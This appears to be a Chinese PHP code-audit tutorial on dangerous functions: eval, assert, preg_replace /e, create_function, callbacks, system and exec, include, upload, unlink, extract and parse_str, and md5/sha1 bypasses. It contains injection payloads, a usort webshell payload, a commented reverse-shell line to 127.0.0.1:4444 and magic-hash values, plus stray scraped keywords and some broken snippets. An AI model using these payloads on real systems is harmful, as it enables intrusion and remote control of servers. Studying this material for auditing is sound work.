本文章主要是PHP代碼審計的一些基礎知識,包括函數的用法,漏洞點,偏向基礎部分,我的能力有限,部分可能會出現錯誤或者遺漏,讀者可自行補充。php
代碼執行是代碼審計當中較爲嚴重的漏洞,主要是一些命令執行函數的不適當使用。那麼,常見的可以觸發這類漏洞的函數有哪些呢?html
想必你們對eval()
函數應該並不陌生,簡而言之eval()
函數就是將傳入的字符串看成 PHP
代碼來進行執行。mysql
eval( string $code) : mixed
eval()
返回 NULL
,除非在執行的代碼中 return了一個值,函數返回傳遞給 return的值。PHP7開始,執行的代碼裏若是有一個parse error,eval()
會拋出 ParseError 異常。在 PHP 7 以前,若是在執行的代碼中有 parse error,eval()
返回FALSE
,以後的代碼將正常執行。沒法使用set_error_handler()
捕獲 eval()
中的解析錯誤。正則表達式
也就是說,咱們在利用eval()
函數的時候,若是咱們傳入的字符串不是正常的代碼格式,那麼就會拋出異常。因此PHP7和PHP5在這部分最大的不一樣是什麼呢?簡而言之,PHP5在代碼錯誤格式錯誤以後仍會執行,而PHP7在代碼發生錯誤以後,那麼eval()
函數就會拋出異常,而不執行以後的代碼。sql
示例:shell
<?php $code = "echo 'This is a PHP7';"; eval($code); ?> 執行結果——>This is a PHP7
那麼若是我要執行系統命令呢?這個時候就須要用到PHP中的system
函數。數據庫
<?php $code = "system('whoami');"; eval($code); ?> 執行結果——>desktop-m61j5j6\admin
那麼到此,咱們就能夠結合其餘姿式經過這個函數實現任意代碼執行了。express
PHP 5數組
assert( mixed $assertion[, string $description] ) : bool
PHP 7瀏覽器
assert( mixed $assertion[, Throwable $exception] ) : bool
斷言。在PHP 5 中,是一個用於執行的字符串或者用於測試的布爾值。在PHP 7 中,能夠是一個返回任何值的表達式,它將被執行結果用於判斷斷言是否成功。
若是assertion
失敗了,選項description
將會包含在失敗信息裏。
在PHP 7中,第二個參數能夠是一個Throwable
對象,而不是一個字符串,若是斷言失敗且啓用了assert.exception
,那麼該對象將被拋出
配置項 | 默認值 | 可選值 |
---|---|---|
zend.assertions | 1 | 1 - 生成和執行代碼(開發模式) 0 - 生成代碼,但在執行時跳過它 -1 - 不生成代碼(生產環境) |
assert.exception | 0 | 1 - 斷言失敗時拋出,能夠拋出異常對象,若是沒有提供異常,則拋出AssertionError對象實例 0 - 使用或生成Throwable,僅僅是基於對象生成的警告而不是拋出對象(與PHP 5 兼容) |
因此搞了這麼多,assert()
函數究竟是幹什麼的呢?用個人理解來講,assert()
函數是處理異常的一種形式,至關於一個if條件語句的宏定義同樣。
一個PHP 7 中的示例
<?php assert_options(ASSERT_EXCEPTION, 1); // 設置在斷言失敗時產生異常 try { assert(1 == 2, new AssertionError('由於1不等於2,因此前面斷言失敗,拋出異常')); // 用 AssertionError 異常替代普通字符串 } catch (Throwable $error) { echo $error->getMessage(); } ?> 執行結果——>由於1不等於2,因此前面斷言失敗,拋出異常
這裏就是實例化一個對象,用這個對象來拋出異常。
一個php 5 中的示例
<?php assert(1 == 2,'前面斷言失敗,拋出異常'); ?> 執行結果——>Warning: assert(): 前面斷言失敗,拋出異常 failed in D:\phpstudy_pro\WWW\1.php on line 2 <?php assert(1 == 2); ?> 執行結果——>Warning: assert(): Assertion failed in D:\phpstudy_pro\WWW\1.php on line 2
因此PHP 7 相較於PHP 5 就是多了個用Throwable來發出警告。
那麼,若是前面斷言成功呢?會發生什麼呢?來個最簡單,也是咱們比較喜歡的示例
<?php $code = "system(whoami)" assert($code); ?> 執行結果——>desktop-m61j5j6\admin
這段代碼在PHP 5 和PHP 7 中都會返回命令執行結果,雖然PHP 7 中對斷言函數的參數稍做了改變,可是爲了兼容低版本,因此仍是會直接返回結果。
經過函數名字咱們也應該可以瞭解函數大概做用,此函數執行一個正則表達式的搜索和替換。
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
搜索 subject 中匹配 pattern 的部分, 以 replacement 進行替換。
那這個函數跟咱們命令執行有什麼關係呢?僅僅看上面的官方解釋彷佛看不出什麼,可是preg_repace()
有一個模式是/e模式,這個模式就會發生代碼執行的問題,爲何呢?
看一個案例
<?php function Ameng($regex, $value){ return preg_replace('/(' . $regex . ')/ei', 'strtolower("\\1")', $value); } foreach ($_GET as $regex => $value){ echo Ameng($regex, $value) . "\n"; } ?>
上面這段咱們須要注意的就是\1,\1在正則表達式是反向引用的意思,簡而言之就是指定一個子匹配項。
針對上面案例,咱們來個payload:
payload=/?.*={${phpinfo()}} 因此語句就成了這樣 preg_replace('/(.*)/ei', 'strtolower("\\1")', {${phpinfo()}});
那麼咱們直接把這段代碼放到頁面
<?php preg_replace('/(.*)/ei', 'strtolower("\\1")', '{${phpinfo()}}'); ?>
訪問頁面,結果以下:
咱們看到成功執行了代碼。
可是這裏我是直接將這段代碼寫到了文件裏,那麼若是咱們是經過GET傳參獲得參數,這裏針對上面那個案例就須要注意一點,在經過GET傳參時,.*
會被替換爲_*
致使咱們要的正則被替換了,達不到咱們的效果,因此這裏可用使用一些其餘的正則表達式來達到目的,好比經過GET傳參時咱們的參數能夠傳入\S*
從而達到一樣目的。因此之後再遇到這個函數的時候,要留個心眼了。不過,這裏要補充一點,就是preg_replace()
函數在PHP 7 後便再也不支持,使用preg_replace_callback()
進行替換了,取消了不安全的\e
模式。
create_function()
用來建立一個匿名函數
create_function( string $args, string $code) : string
返回惟一的函數名稱做爲字符串或者返回FALSE錯誤
create_function()
函數在內部執行eval()
函數,因此咱們就能夠利用這一點,來執行代碼。固然正由於存在安全問題,因此在PHP 7.2 以後的版本中已經廢棄了create_function()
函數,使用匿名函數來代替。因此這裏爲了演示這個函數,我採用的是PHP 5 的環境。那麼這個函數到底怎麼用呢?
那麼來看我寫的一個簡單的案例
<?php $onefunc = create_function('$a','return system($a);'); $onefunc(whoami); ?> 執行結果——>desktop-m61j5j6\admin
咱們看到使用此函數爲咱們至關於創造了一個匿名的函數,給它賦以相應的變量,就執行了咱們要執行的代碼。
那麼接下來咱們來看一個簡單的案例
<?php error_reporting(0); $sort_by = $_GET['sort_by']; $sorter = 'strnatcasecmp'; $databases=array('1234','4321'); $sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);'; usort($databases, create_function('$a, $b', $sort_function)); ?>
這個主要功能就是實現排序,這段代碼就調用了create_function()
函數,那麼咱們可否利用這個函數執行咱們想要執行的代碼呢?
固然能夠,咱們只須要在傳參時將前面的符號閉合,而後輸入咱們想要執行的代碼便可。
payload='"]);}phpinfo();/* 執行payload前:$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);'; 執行payloda後:$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by '"]);}phpinfo();/*
看到這裏,你可能會有稍微疑惑,就是你閉合就閉合吧,爲何後面多了個;}
,不知道你是否想到了這一點?
那麼我就來分析一下這個,上面的那段執行代碼,實際上就是一個匿名函數的建立,既然是一個函數,注意是一個函數,那麼你以爲有沒有花括號呢?看我以下代碼
<?php //未閉合以前 function sort($a,$b){ ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);'; } //閉合以後 function sort($a,$b){ ' return 1 * ' . $sorter . '($a["' . $sort_by '"]); } phpinfo();/* } ?>
能夠看到,咱們借用了匿名函數的位置,插入了咱們要執行的代碼,而後等這個匿名函數被create_function
看成$code
執行的時候,是否是代碼就被執行了。
結果:
那麼creat_function
函數還有別的用法嗎?咱們將上面一個案例簡單的修改一下,代碼以下:
<?php $onefunc = create_function("","die(`cat flag.php`)"); $_GET['func_name'](); die(); ?>
代碼簡單的來看,咱們只須要執行$onefunc
就能獲得flag,可是咱們不知道這個函數的名稱。若是在不知道函數名稱的狀況下執行函數呢?這裏就用到了creat_function
函數的一個漏洞。這個函數在creat以後會自動生成一個函數名爲%00lambda_%d
的匿名函數。%d
的值是一直遞增的,會一直遞增到最大長度直到結束。因此這裏能夠經過多進程或者多線程訪問,從而看到flag。
因此,之後再代碼中若是看到調用create_function()
要當心一點,可是若是是CTF題目的話,不會這麼直接就吧這個函數暴露給你,它可能會用到拼接或者替換來構造這個函數。最後再強調一下,create_function
函數在PHP 7.2 版本以後就已經被廢棄了。
array_map()
爲數組的每一個元素應用回調函數
array_map( callable $callback, array $array1[, array $...] ) : array
array_map():返回數組,是爲 array1
每一個元素應用 callback
函數以後的數組。callback
函數形參的數量和傳給array_map()
數組數量,二者必須同樣。
callback
函數。callback
函數。返回數組,包含callback
函數處理以後array1
的全部元素。
說了這麼多官方的函數解釋,那麼這個函數到底如何使用呢?簡而言之,這個函數的做用能夠這麼直白的解釋一下。你原本有一個數組,而後我經過array_map
函數將你這個數組看成參數傳入,而後返回一個新的數組。見下圖。
代碼示例:
<?php $old_array = array(1, 2, 3, 4, 5); function func($arg){ return $arg * $arg; } $new_array = array_map('func',$old_array); var_dump($new_array); ?> 執行結果——> array(5) { [0]=> int(1) [1]=> int(4) [2]=> int(9) [3]=> int(16) [4]=> int(25) }
經過上述代碼,咱們大概知道這個函數就是調用回調函數(用戶自定義的函數)來實現對現有數組的操做,從而獲得一個新的數組。
那麼功能我知道了,但是這個和代碼執行有什麼關係呢?如何可以利用這個函數執行代碼呢?且看下面所示代碼。
<?php $func = 'system'; $cmd = 'whoami'; $old_array[0] = $cmd; $new_array = array_map($func,$old_array); var_dump($new_array); ?> 執行結果——> desktop-m61j5j6\admin array(1) { [0]=> string(21) "desktop-m61j5j6\admin" }
這段代碼就是,經過array_map()
這個函數,來調用用戶自定義的函數,而用戶這裏的回調函數其實就是system
函數,那麼就至關於咱們用system
函數來對舊數組進行操做,獲得新的數組,那麼這個新的數組的結果就是咱們想要的命令執行的結果了。
call_user_func()
是把第一個參數做爲回調函數調用
call_user_func( callable $callback[, mixed $parameter[, mixed $...]] ) : mixed
第一個參數callback
是被調用的回調函數,其他參數是回調函數的參數。
這個函數仍是很是好理解的,看一段簡單的示例代碼
<?php function callback($a,$b){ echo $a . "\n"; echo $b; } call_user_func('callback','我是參數1','我是參數2'); ?> 執行結果——> 我是參數1 我是參數2
能夠看到此函數做用就是調用了筆者自定義的函數。那麼這個如何實現代碼執行呢?好說,你在前面自定義的函數中加入能執行命令的代碼不久能夠代碼執行了。
示例代碼:
<?php function callback($a){ return system($a); } $cmd = 'whoami'; call_user_func('callback',$cmd); ?> 執行結果——> desktop-m61j5j6\admin
這個函數名稱跟上沒什麼大的差異,惟一的區別就在於參數的傳遞上,這個函數是把一個數組做爲回調函數的參數
call_user_func_array( callable $callback, array $param_arr) : mixed
示例代碼
<?php function callback($a,$b){ echo $a . "\n"; echo $b; } $onearray = array('我是參數1','我是參數2'); call_user_func_array('callback',$onearray); ?> 執行結果——> 我是參數1 我是參數2
示例代碼:
<?php function callback($a){ return system($a); } $cmd = array('whoami'); call_user_func_array('callback',$cmd); ?> 執行結果——> desktop-m61j5j6\admin
用回調函數過濾數數組中的單元
array_filter( array $array[, callable $callback[, int $flag = 0]] ) : array
依次將array
數組中的每一個值傳到callback
函數。若是callback
函數返回true
,則array
數組的當前值會被包含在返回的結果數組中。數組的鍵名保留不變。
callback
函數,將刪除array
中全部等值爲FALSE的條目。callback
接收的參數形式代碼示例(這裏看官方的就行,很詳細):
<?php function odd($var) { // returns whether the input integer is odd return($var & 1); } function even($var) { // returns whether the input integer is even return(!($var & 1)); } $array1 = array("a"=>1, "b"=>2, "c"=>3, "d"=>4, "e"=>5); $array2 = array(6, 7, 8, 9, 10, 11, 12); echo "Odd :\n"; print_r(array_filter($array1, "odd")); echo "Even:\n"; print_r(array_filter($array2, "even")); ?> 執行結果——> Odd : Array ( [a] => 1 [c] => 3 [e] => 5 ) Even: Array ( [0] => 6 [2] => 8 [4] => 10 [6] => 12 )
從上面代碼咱們知道,這個函數做用其實就是過濾,只不過這個過濾調用的是函數,而被過濾的是傳入的參數。到這裏你內心有沒有代碼執行的雛形了?
代碼示例:
<?php $cmd='whoami'; $array1=array($cmd); $func ='system'; array_filter($array1,$func); ?> 執行結果——> desktop-m61j5j6\admin
使用用戶自定義的比較函數對數組中的值進行排序
usort( array &$array, callable $value_compare_func) : bool
代碼示例:
<?php function func($a,$b){ return ($a<$b)?1:-1; } $onearray=array(1,3,2,5,9); usort($onearray, 'func'); print_r($onearray); ?> 執行結果——> Array ( [0] => 9 [1] => 5 [2] => 3 [3] => 2 [4] => 1 )
可見實現了逆序的功能。那麼假若咱們把回調函數設計成可以執行代碼的函數,是否是就能夠執行咱們想要的代碼了呢?
代碼示例:
<?php usort(...$_GET); ?> payload: 1.php?1[0]=0&1[1]=eval($_POST['x'])&2=assert POST傳參: x=phpinfo();
usort
的參數經過GET傳參,第一個參數也就是$_GET[0]
,隨便傳入一個數字便可。第二個參數也就是$_GET[1]
是咱們要調用的函數名稱,這裏採用的是assert
函數。
執行結果:
這個跟上一個差很少,區別不是很大。此函數對數組排序並保持索引和單元之間的關聯。也就是說你這個排完序以後呢,它原來對應的索引也會相應改變,相似於「綁定」。
uasort( array &$array, callable $value_compare_func) : bool
這裏用的仍然官方例子(比較好理解)
<?php // Comparison function function cmp($a, $b) { if ($a == $b) { return 0; } return ($a < $b) ? -1 : 1; } // Array to be sorted $array = array('a' => 4, 'b' => 8, 'c' => -1, 'd' => -9, 'e' => 2, 'f' => 5, 'g' => 3, 'h' => -4); print_r($array); // Sort and print the resulting array uasort($array, 'cmp'); print ?> 執行結果——> Array ( [a] => 4 [b] => 8 [c] => -1 [d] => -9 [e] => 2 [f] => 5 [g] => 3 [h] => -4 ) Array ( [d] => -9 [h] => -4 [c] => -1 [e] => 2 [g] => 3 [a] => 4 [f] => 5 [b] => 8 )
咱們發現,在排完序以後索引也跟着值的位置變化而變化了。那麼代碼執行的示例代碼其實也和上一個差很少。
代碼示例:
<?php $a = $_GET['a']; $onearray = array('Ameng', $_POST['x']); uasort($onearray, $a); ?>
執行結果:
看完這裏不知道你對代碼審計中的代碼執行部分是否有另外一種想法?個人想法就是這個是和後門聯繫在一塊兒的。咱們能夠看到不少函數都具備構造執行命令的條件,並且其中不少函數也的確被用在後門中,特別像後面幾個回調函數,在後門中更是常見。固然這些後門函數也早已被安全廠商盯住,因此大部分已經沒法直接免殺,因此想要免殺就須要結合其餘姿式,好比替換、拼接、加密等等。可是這些知識在CTF中仍是比較容易出現的。
說完代碼執行,咱們再來看看命令執行。常見的命令執行函數有哪些呢?
這個函數想必咱們都是比較熟悉的,此函數就是執行外部指令,而且顯示輸出
system( string $command[, int &$return_var] ) : string
示例代碼:
<?php $cmd = 'whoami'; system($cmd); ?> 執行結果——> desktop-m61j5j6\admin
這個其實和上面system
函數沒有太大區別,都是執行外部程序指令,只不過這個函數多了一個參數,可讓咱們把命令執行輸出的結果保存到一個數組中。
exec( string $command[, array &$output[, int &$return_var]] ) : string
<?php $cmd = 'whoami'; echo exec($cmd); ?> 執行結果——> desktop-m61j5j6\admin
此函數經過shell環境執行命令,而且將完整的輸出以字符串的方式返回。若是執行過程當中發生錯誤或者進程不產生輸出,那麼就返回NULL
shell_exec( string $cmd) : string
代碼示例:
<?php $cmd = 'whoami'; echo shell_exec($cmd); ?> 執行結果——> desktop-m61j5j6\admin
執行外部程序而且顯示原始輸出。既然咱們已經有執行命令的函數了,那麼這個函數咱們何時會用到呢?當所執行的Unix命令輸出二進制數據,而且須要直接傳送到瀏覽器的時候,須要用此函數來替代exec()
或system()
函數
passthru( string $command[, int &$return_var] ) : void
代碼示例:
第一你能夠這麼寫 <?php passthru('whoami'); //直接將結果返回到頁面 ?> 第二你能夠這麼寫 <?php passthru('whoami',$result); //將結果返回到一個變量,而後經過輸出變量值獲得輸出內容 echo $result; ?>
在當前進程空間執行指定程序。關鍵點就在於進程空間,假若我如今設定一個條件,你只有在某個子進程中才能讀取phpinfo,那這個時候,咱們就須要用到這個函數了。
pcntl_exec( string $path[, array $args[, array $envs]] ) : void
示例代碼:
//father <?php pcntl_exec('/usr/local/bin/php', ['2.php']); ?>
//son <?php while(true){ echo 'ok'; } ?>
此函數使用command參數打開進程文件指針。若是出錯,那麼該函數就會返回FALSE。
popen(command,mode)
代碼示例:
<?php $file = popen("demo.txt","r"); pclose($file); ?> <?php $file = popen("/bin/ls","r"); //some code to be executed pclose($file); ?>
此函數執行一個命令,而且打開用來輸入或者輸出的文件指針
proc_open( string $cmd, array $descriptorspec, array &$pipes[, string $cwd = NULL[, array $env = NULL[, array $other_options = NULL]]] )
此函數其實和popen
函數相似,都是執行命令
說白了,其實就是執行命令,只不過其中多了一些選項,包括目錄的,環境變量的等。
示例代碼:
$descriptorspec = array( 0 => array("pipe", "r"), //標準輸入,子進程今後管道讀取數據 1 => array("pipe", "w"), //標準輸出,子進程向此管道寫入數據 2 => array("file", "/opt/figli/php/error-output.txt","a") //標準錯誤,寫入到指定文件 ); $process = proc_open("ls -a", $descriptorspec, $pipes); if(is_resource($process)){ echo stream_get_contents($pipes[1]); fclose($pipes[1]); proc_close($process); //在調用proc_close以前必須關閉全部管道 }
include
將會包含語句並執行指定文件
include 'filename';
關鍵點就在於執行指定文件,執行給了咱們代碼執行的機會。假若此時咱們構造了一個後門文件,須要在目標機器執行進行shell反彈,那麼若是代碼中有include
並且沒有進行過濾,那麼咱們就可使用該函數來執行咱們的後門函數。下面我來演示一下。
示例代碼(1.php):
<?php highlight_file(__FILE__); $file = $_GET['file']; include $file; ?>
示例代碼(2.php):
<?php //這裏可使用PHP來反彈shell,我這裏只是演示 //$sock=fsockopen("127.0.0.1",4444);exec("bin/bash -i <&3 >&3 2>&3"); echo '<br><h1>[*]backdoor is running!</h1>'; ?>
執行結果:
include_once
與include
沒有太大區別,惟一的其區別已經在名稱中體現了,就是相同的文件只包含一次。其餘功能和include_once
同樣,只是增長對每一個文件包含的次數。
require
的實現和include
功能幾乎徹底相同,那既然同樣爲何還要多一個這樣的函數呢?( 我也不知道)
其實二者仍是有點區別的,什麼區別呢?這麼說,若是你包含的文件的代碼裏面有錯誤,你以爲會發生什麼?是繼續執行包含的文件,仍是中止執行呢?因此區別就在這裏產生了。
require
在出錯時會致使腳本終止,而include
在出錯時只是發生警告,腳本仍是繼續執行。
這個我以爲你看完上面的,應該就懂了。這二者關係和include
與include_once
的關係是同樣的。
文件包含有不少利用手段,其中在實際環境中,例如咱們向服務器寫入了後門,可是咱們沒法直接鏈接服務器,那麼若是有文件包含函數,咱們能夠經過文件包含函數包含執行咱們的後門函數,讓服務器反彈鏈接咱們。豈不美哉。
函數功能是將整個文件讀入一個字符串
file_get_contents(path,include_path,context,start,max_length)
代碼示例:
<?php echo file_get_contents('demo.txt'); ?> 執行結果——> I am a demo text
此函數將打開一個文件或URL,若是 fopen() 失敗,它將返回 FALSE 並附帶錯誤信息。咱們能夠經過在函數名前面添加一個 @
來隱藏錯誤輸出。
fopen(filename,mode,include_path,context)
代碼示例:
<?php $file = fopen("demo.txt","rb"); $content = fread($file,1024); echo $content; fclose($file); ?> 執行結果——> I am a demo text
這段代碼中其實也包含了fread
的用法。由於fread
僅僅只是打開一個文件,要想讀取還得須要用到fread
來讀取文件內容。
這個函數剛纔在上個函數中基本已經演示過了,就是讀取文件內容。這裏代碼就再也不演示了,簡單介紹一下參數和用法。
string fread ( resource $handle , int $length )
fopen
建立的resource
。從打開的文件中讀取一行
fgets(file,length)
能夠看出這個函數和以前的fread區別不是很大,只不過這個讀取的是一行。
這個函數跟上個沒什麼差異,也是從打開的文件中讀取去一行,只不過過濾掉了 HTML 和 PHP 標籤。
fgetss(file,length,tags)
代碼示例:
<?php $file = fopen("demo.html","r"); echo fgetss($file); fclose($file); ?> demo.html代碼 <h1>I am a demo</h1> 執行結果——> I am a demo
這個函數從名稱基本就知道它是幹啥的了,讀文件用的。此函數將讀取一個文件,並寫入到輸出緩衝中。若是成功,該函數返回從文件中讀入的字節數。若是失敗,該函數返回 FALSE 並附帶錯誤信息。
readfile(filename,include_path,context)
代碼示例:
<?php echo "<br>" . readfile("demo.txt"); ?> 執行結果——> I am a demo:) I am a demo:( 28
咱們看到不只輸出了全部內容,並且還輸出了總共長度。可是沒有輸出換行。
把文件讀入到一個數組中,數組中每個元素對應的是文件中的一行,包括換行符。
file(path,include_path,context)
代碼示例:
<?php print_r(file("demo.txt")); ?> 執行結果——> Array ( [0] => I am the first line! [1] => I am the second line! )
從名稱能夠看出,這個函數不是讀取一個簡單的文件。它的功能是解析一個配置文件(ini文件),並以數組的形式返回其中的位置。
parse_ini_file(file,process_sections)
代碼示例:
<?php print_r(parse_ini_file("demo.ini")); ?> demo.ini內容: [names] me = Robert you = Peter [urls] first = "http://www.example.com" second = "https://www.runoob.com" 執行結果——> Array ( [me] => Robert [you] => Peter [first] => http://www.example1.com [second] => https://www.example2.com )
這兩個函數沒什麼好說的,想必你們也常常見到這兩個函數,其做用就是讓php代碼顯示在頁面上。這兩個沒有任何區別,show_source
其實就是highlight_file
的別名。
文件讀取這塊內容沒什麼好說的,不難,大多隻是基本的應用。重點文件讀取若是沒有設置權限和過濾參數,那就問題大了,咱們就能夠任意文件讀取了。
補充:什麼是句柄?
開局先給一段代碼
$file = fopen("demo.txt","rb");
在這段代碼中$file
就是一個句柄。句柄關鍵點在「柄」,後面的fopen
是一個資源,比如一口鍋,而前面的$file
就比如這個鍋的把手。那麼之後咱們在操做的時候操做把手就好了。經過這個把手咱們能夠間接操做比較大的資源。其實也相似C語言中的指針,只是一個標識。
此函數是將上傳的文件移動到新位置。
move_uploaded_file(file,newloc)
本函數檢查並確保由 file 指定的文件是合法的上傳文件(即經過 PHP 的 HTTP POST 上傳機制所上傳的)。若是文件合法,則將其移動爲由 newloc 指定的文件。
若是 file 不是合法的上傳文件,不會出現任何操做,move_uploaded_file() 將返回 false。
若是 file 是合法的上傳文件,但出於某些緣由沒法移動,不會出現任何操做,move_uploaded_file() 將返回 false,此外還會發出一條警告。
代碼示例:
$fileName = $_SERVER['DOCUMENT_ROOT'].'/uploads/'.$_FILES['file']['name']; move_uploaded_file($_FILES['file']['tmp_name'],$fileName )
這段代碼就是直接接收上傳的文件,沒有進行任何的過濾,那麼當咱們上傳getshell的後門時,就能夠直接獲取權限,可見這個函數是不能亂用的,即使要用也要將過濾規則完善好,防止上傳不合法文件。
此函數用來刪除文件。成功返回 TURE ,失敗返回 FALSE。
unlink(filename,context)
咱們知道,一些網站是有刪除功能的。好比常見的論壇網站,是有刪除評論或者文章功能的。假若網站沒有對刪除處作限制,那麼就可能會致使任意文件刪除(甚至刪除網站源碼)。
代碼示例:
<?php $file = "demo.txt"; if(unlink($file)){ echo("$file have been deleted"); } else{ echo("$file not exist?") } php>
在瞭解這個函數以前,咱們須要先了解 PHP session。 PHP session 變量用於存儲關於用戶會話的信息。關於 sesson 的機制這裏我就再也不過於詳細介紹。
session_destroy()
函數用來銷燬一個會話中的所有數據,但並不會重置當前會話所關聯的全局變量,同時也不會重置會話 cookie
代碼示例:
<?php // 初始化會話。 // 若是要使用會話,別忘了如今就調用: session_start(); // 重置會話中的全部變量 $_SESSION = array(); // 若是要清理的更完全,那麼同時刪除會話 cookie // 注意:這樣不但銷燬了會話中的數據,還同時銷燬了會話自己 if (ini_get("session.use_cookies")) { $params = session_get_cookie_params(); setcookie(session_name(), '', time() - 42000, $params["path"], $params["domain"], $params["secure"], $params["httponly"] ); } // 最後,銷燬會話 session_destroy(); ?>
此函數從數組中將變量導入到當前的符號表。其實做用就是給變量從新賦值,從而達到變量覆蓋的做用。
extract(array,extract_rules,prefix)
array:必需。規定要使用的數組。
extract_rules:可選。extract函數將檢查每一個鍵名是否爲合法的變量名,同時也檢查和符號中已經存在的變量名是否衝突,對不合法或者衝突的鍵名將會根據此參數的設定的規則來決定。
prefix:可選。若是 extract_rules 參數的值是 EXTR_PREFIX_SAME、EXTR_PREFIX_ALL、 EXTR_PREFIX_INVALID 或 EXTR_PREFIX_IF_EXISTS,則 prefix 是必需的。
代碼示例:
<?php $color = "blue"; $one_array = array("color" => "red", "size" => "medium", "name" => "dog"); extract($one_array); echo "$color, $size, $name"; ?> 執行結果——> red, medium, dog
在上述代碼中,咱們看到,原本咱們定義的color是blue,輸出的時候變成了red,原本咱們沒有定義size和name,但是卻能輸出這兩個變量。
還有一些在CTF比賽中出現過的用法,好比直接讓你POST傳參來改變某個變量的值。
代碼示例:
<?php $name = 'cat'; extract($_POST); echo $name; ?>
參時若是咱們POST傳入name=dog,那麼頁面將會回顯dog,說明這個函數的使用讓咱們實現了變量的覆蓋,改變了變量的值。
此函數把查詢到的字符串解析到變量中。
parse_str(string,array)
代碼示例:
<?php parse_str("name=Ameng&sex=boy",$a); print_r($a); ?> 執行結果——> Array ( [name] => Ameng [sex] => boy )
上述代碼是有array狀況下的使用狀況,那麼如何實現變量的覆蓋呢?若是沒有array 參數,則由該函數設置的變量將覆蓋已存在的同名變量。
代碼示例:
<?php $name = 'who'; $age = '20'; parse_str("name=Ameng&age=21"); echo "$name, $age"; ?> 執行結果——> Ameng, 21
經過上述代碼,咱們能夠發現,變量name和age都發生了變化,被新的值覆蓋了。這裏我用的是 PHP 7.4.3 版本。發現這個函數的這個做用仍是存在的,且沒有任何危險提示。
此函數將GET/POST/Cookie變量導入到全局做用域中。從而可以達到變量覆蓋的做用。
版本要求:PHP 4 >= 4.1.0, PHP 5 < 5.4.0
bool import_request_variables ( string $types [, string $prefix ] )
代碼示例:
<?php $name = 'who'; import_request_variables('gp'); if($name == 'Ameng'){ echo $name; } else{ echo 'You are not Ameng'; } ?>
若是什麼變量也不傳,那麼頁面將回顯You are not Ameng
若是經過GET或者POST傳入name=Ameng
那麼頁面就會回顯Ameng
能夠見到此函數仍是很危險的,沒有修復方法,不使用就是最好的方法。因此在新版本的 PHP 中已經廢棄了這個函數。
foreach
語法結構提供了遍歷數組的簡單方式。foreach
僅可以應用於數組和對象,若是嘗試應用於其餘數據類型的變量,或者未初始化的變量將發出錯誤信息。有兩種語法:
foreach (array_expression as $value) statement foreach (array_expression as $key => $value) statement
第一種格式遍歷給定的 array_expression 數組。每次循環中,當前單元的值被賦給 $value 而且數組內部的指針向前移一步(所以下一次循環中將會獲得下一個單元)。
第二種格式作一樣的事,只是除了當前單元的鍵名也會在每次循環中被賦給變量 $key。
那麼這個函數如何實現變量的覆蓋呢?咱們來看個案例.
代碼示例:
<?php $name = 'who'; foreach($_GET as $key => $value) { $$key = $value; } if($name == "Ameng"){ echo 'You are right!'; } else{ echo 'You are flase!'; } ?>
那麼執行結果是怎樣的呢?當咱們直接打開頁面的時候它會輸出You are false!
,而當咱們經過GET傳參name=Ameng
的時候,它會回顯You are right!
。那麼這是爲何呢?咱們來分析一下
關鍵點就在於$$
這種寫法。這種寫法稱爲可變變量。一個變量可以獲取一個普通變量的值做爲這個可變變量的變量名。當使用foreach
來遍歷數組中的值,而後再將獲取到的數組鍵名做爲變量,數組中的鍵值做爲變量的值。這樣就產生了變量覆蓋漏洞,如上代碼示例。其執行過程爲$$key
=$name
,最後賦值爲$value
,從而實現了變量覆蓋。
關於這兩個函數想必咱們不陌生,不管是在實際代碼審計中,仍是在CTF比賽中,這些咱們都是碰到過的函數。那麼當咱們遇到用這兩個函數來判斷的時候,若是繞過呢?
PHP 在處理哈希字符串的時候,會使用!=
或者==
來對哈希值進行比較,它會把每個0E
開頭的哈希值都解釋爲0,那麼這個時候問題就來了,若是兩個不一樣的值,通過哈希之後它們都變成了0E
開頭的哈希值,那麼 PHP 就會將它們視做相等處理。那麼0E
開頭的哈希值有哪些呢?
s878926199a 0e545993274517709034328855841020 s155964671a 0e342768416822451524974117254469 s214587387a 0e848240448830537924465865611904 s214587387a 0e848240448830537924465865611904 s878926199a 0e545993274517709034328855841020 s1091221200a 0e940624217856561557816327384675 s1885207154a 0e509367213418206700842008763514 s1502113478a 0e861580163291561247404381396064 s1885207154a 0e509367213418206700842008763514 s1836677006a 0e481036490867661113260034900752 s155964671a 0e342768416822451524974117254469 s1184209335a 0e072485820392773389523109082030 s1665632922a 0e731198061491163073197128363787 s1502113478a 0e861580163291561247404381396064 s1836677006a 0e481036490867661113260034900752 s1091221200a 0e940624217856561557816327384675 s155964671a 0e342768416822451524974117254469 s1502113478a 0e861580163291561247404381396064 s155964671a 0e342768416822451524974117254469 s1665632922a 0e731198061491163073197128363787 s155964671a 0e342768416822451524974117254469 s1091221200a 0e940624217856561557816327384675 s1836677006a 0e481036490867661113260034900752 s1885207154a 0e509367213418206700842008763514 s532378020a 0e220463095855511507588041205815 s878926199a 0e545993274517709034328855841020 s1091221200a 0e940624217856561557816327384675 s214587387a 0e848240448830537924465865611904 s1502113478a 0e861580163291561247404381396064 s1091221200a 0e940624217856561557816327384675 s1665632922a 0e731198061491163073197128363787 s1885207154a 0e509367213418206700842008763514 s1836677006a 0e481036490867661113260034900752 s1665632922a 0e731198061491163073197128363787 s878926199a 0e545993274517709034328855841020
來個簡單的例子吧
代碼示例:
<?php $a = $_GET['a']; $b = $_GET['b']; if($a != $b && md5($a) == md5($b)){ echo '這就是弱類型繞過'; } else{ echo '再思考一下'; } ?>
從上面我給出的哪些值中,挑兩個不一樣的值傳入參數,就能看到相應的結果
上面是md5()
函數的繞過姿式,那麼sha1()
如何繞過呢?再來看一個簡單的例子
<?php $a = $_GET['a']; $b = $_GET['b']; if(isset($a,$b)){ if(sha1($a) === sha1($b)){ echo 'nice!!!'; } else{ echo 'Try again!'; } } ?>
當咱們傳入a[]=1&b[]=2
的時候,雖然它會給出警告,說咱們應該傳入字符串而不該該是數組,可是它仍是輸出了nice!!!
,因此咱們徹底能夠用數字來繞過sha1()
函數的比較。
咱們先來了解一下這個函數。此函數是檢測變量是否爲數字或者數字字符串
is_numeric( mixed $var) : bool
若是var
